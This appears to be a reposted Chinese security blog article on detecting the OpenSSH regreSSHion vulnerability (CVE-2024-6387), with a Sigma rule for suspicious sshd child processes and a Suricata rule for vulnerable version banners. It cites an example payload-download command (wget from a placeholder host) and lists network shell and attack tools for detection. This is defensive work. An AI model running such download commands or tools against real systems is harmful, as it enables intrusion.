检测OpenSSH远程代码执行漏洞CVE-2024-6387(行为和流量)

admin 2024年7月3日13:48:09评论15 views字数 3528阅读11分45秒阅读模式

检测OpenSSH远程代码执行漏洞CVE-2024-6387(行为和流量)

背景:

Qualys团队在OpenSSH服务器(sshd)中发现了一个漏洞(信号处理程序竞争条件):如果客户端未能在LoginGraceTime秒内完成身份验证(默认为120秒,旧版OpenSSH为600秒),sshd的SIGALRM处理程序会被异步调用,但这个信号处理程序会调用各种非异步信号安全的函数(例如syslog())。这个竞争条件影响了默认配置下的sshd。经过调查,我们发现这个漏洞实际上是2006年由Mark Dowd报告的CVE-2006-5051("OpenSSH 4.4版本之前的信号处理程序竞争条件允许远程攻击者导致拒绝服务(崩溃),并可能执行任意代码")的重现。
简而言之:如果客户端在LoginGraceTime期间内未能完成身份验证,OpenSSH的SIGALRM信号处理程序中会出现竞争条件。当SIGALRM被触发时,它会使用不安全的异步函数来执行存储在内存中的代码。这个漏洞通过竞争条件造成内存损坏,从而使信号处理程序执行攻击者的代码而非预期代码。

1.行为

execve

在编写Linux检测内容时,理解execve的工作原理至关重要。虽然深入探讨可以留待以后,但了解基础知识对我们的目的来说已经足够了。以下是man页面对execve系统调用的描述:

execve()执行由filename指向的程序。filename必须是二进制可执行文件,或者以以下形式开头的脚本:

这意味着当你在shell中输入类似./exp的命令时,你实际上是在对相关的二进制文件或脚本调用execve系统调用,从而启动进程。这个动作通常会被auditd等工具记录。auditd生成的进程执行日志可以被视为类似于Windows事件ID 4688,后者记录进程创建事件。

整合检测策略

让我们回顾一下我们所知道的:

1. RegreSSHion(CVE-2024-6387)利用竞争条件在内存中执行shellcode。

2. shellcode将存储在sshd进程内存中,很可能包含某种形式的execve来执行命令或代码。

3. 由于sshd执行恶意shellcode,调用新进程,sshd很可能是被执行内容的父进程。

父进程关系是一个有用的检测组合,我们将用它来检测SSH的远程代码执行。

检测任何从sshd派生的shell会有问题,因为通常当你SSH进入系统时,会为你生成一个用于交互的shell。这是常见活动。然而,如果有人执行恶意bash命令,比如bash -c "wget https://xxx.com/malware",它会导致wget作为sshd的子进程出现。

父进程关系解释

当你执行bash -c "wget https://xxx.com/malware"时,sshd是启动用户会话并生成初始shell的父进程。在这种情况下,bash使用-c选项执行作为字符串提供的命令。一旦bash运行命令,它就会执行wget,但不会为它创建单独的父进程。因此,wget命令会显示为sshd的直接子进程,而不是bash的。这是因为bash -c在当前shell的上下文中执行命令,而该shell仍然是sshd的子进程。

Sigma规则

由于shell本身作为子进程太常见,仅凭SSH的工作方式无法检测,我们可以转而检测那些不太常见但可能需要执行的操作,比如下载第二阶段恶意软件或攻击工具,或者执行它们。考虑到这一点,我们可以创建一个Sigma规则来检测这种活动:

title: 检测SSH/SSHD的可疑子进程或命令description: 检测SSH/SSHD的可疑子进程或由SSH/SSHD执行的命令,这可能表明存在使用常见Linux攻击工具或网络二进制文件进行潜在滥用的情况。references:    - https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt    - https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-servertags:    - attack.t1190logsource:    category: process_creation    product: linuxdetection:    selection_process:        ParentImage:            - '/usr/bin/ssh'            - '/usr/sbin/sshd'        Image:            - '/usr/bin/curl'            - '/usr/bin/wget'            - '/usr/bin/nmap'            - '/usr/bin/nc'            - '/usr/bin/socat'            - '/usr/bin/nc.traditional'            - '/usr/bin/nc.openbsd'            - '/usr/bin/openssl'            - '/usr/bin/nc6'            - '/usr/bin/msfconsole'    selection_commandline:        ParentImage:            - '/usr/bin/ssh'            - '/usr/sbin/sshd'        CommandLine|contains:            - 'nmap'            - 'chisel'            - 'zenmap'            - 'xenmap'            - 'john'            - 'hydra'            - 'sqlmap'            - 'dirbuster'            - 'nikto'            - 'gobuster'            - 'feroxbuster'            - 'masscan'            - 'metasploit'            - 'empire'    condition: selection_process or selection_commandlinefalsepositives:    - Expected administrative activity    - Regular user behavior with legitimate use caseslevel: medium

需要注意的是,虽然这可能会捕获大量的利用活动,但这个检测器并非万无一失,攻击者可能会规避它,部署时应该牢记这一点。

2.流量(Snort/Suricata检测规则)

alert ssh any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET INFO Server Responded with Vulnerable OpenSSH Version (CVE-2024-6387)"; flow:established,to_client; content:"SSH-"; startswith; content:"-OpenSSH_"; fast_pattern; pcre:"/^(?:[123]|4.(?:[0123](?:pd)?|4[^p])|8.(?:[6789](?:pd)?|5(?:p[^1])?)|9.(?:[01234567](?:pd)?|8[^p]))(?:.d)*(?:d|pd)*/R"; reference:cve,2024-6387; reference:url,blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server; classtype:successful-recon-largescale; sid:2054218; rev:2; metadata:attack_target Client_and_Server, created_at 2024_07_01, cve CVE_2024_6387, deployment Perimeter, deployment Internal, former_category EXPLOIT, performance_impact Significant, signature_severity Informational, updated_at 2024_07_02, former_sid 2857461, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application; target:dest_ip;)
  1.  

原文始发于微信公众号(天御攻防实验室):检测OpenSSH远程代码执行漏洞CVE-2024-6387(行为和流量)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月3日13:48:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   检测OpenSSH远程代码执行漏洞CVE-2024-6387(行为和流量)https://cn-sec.com/archives/2913641.html

发表评论

匿名网友 填写信息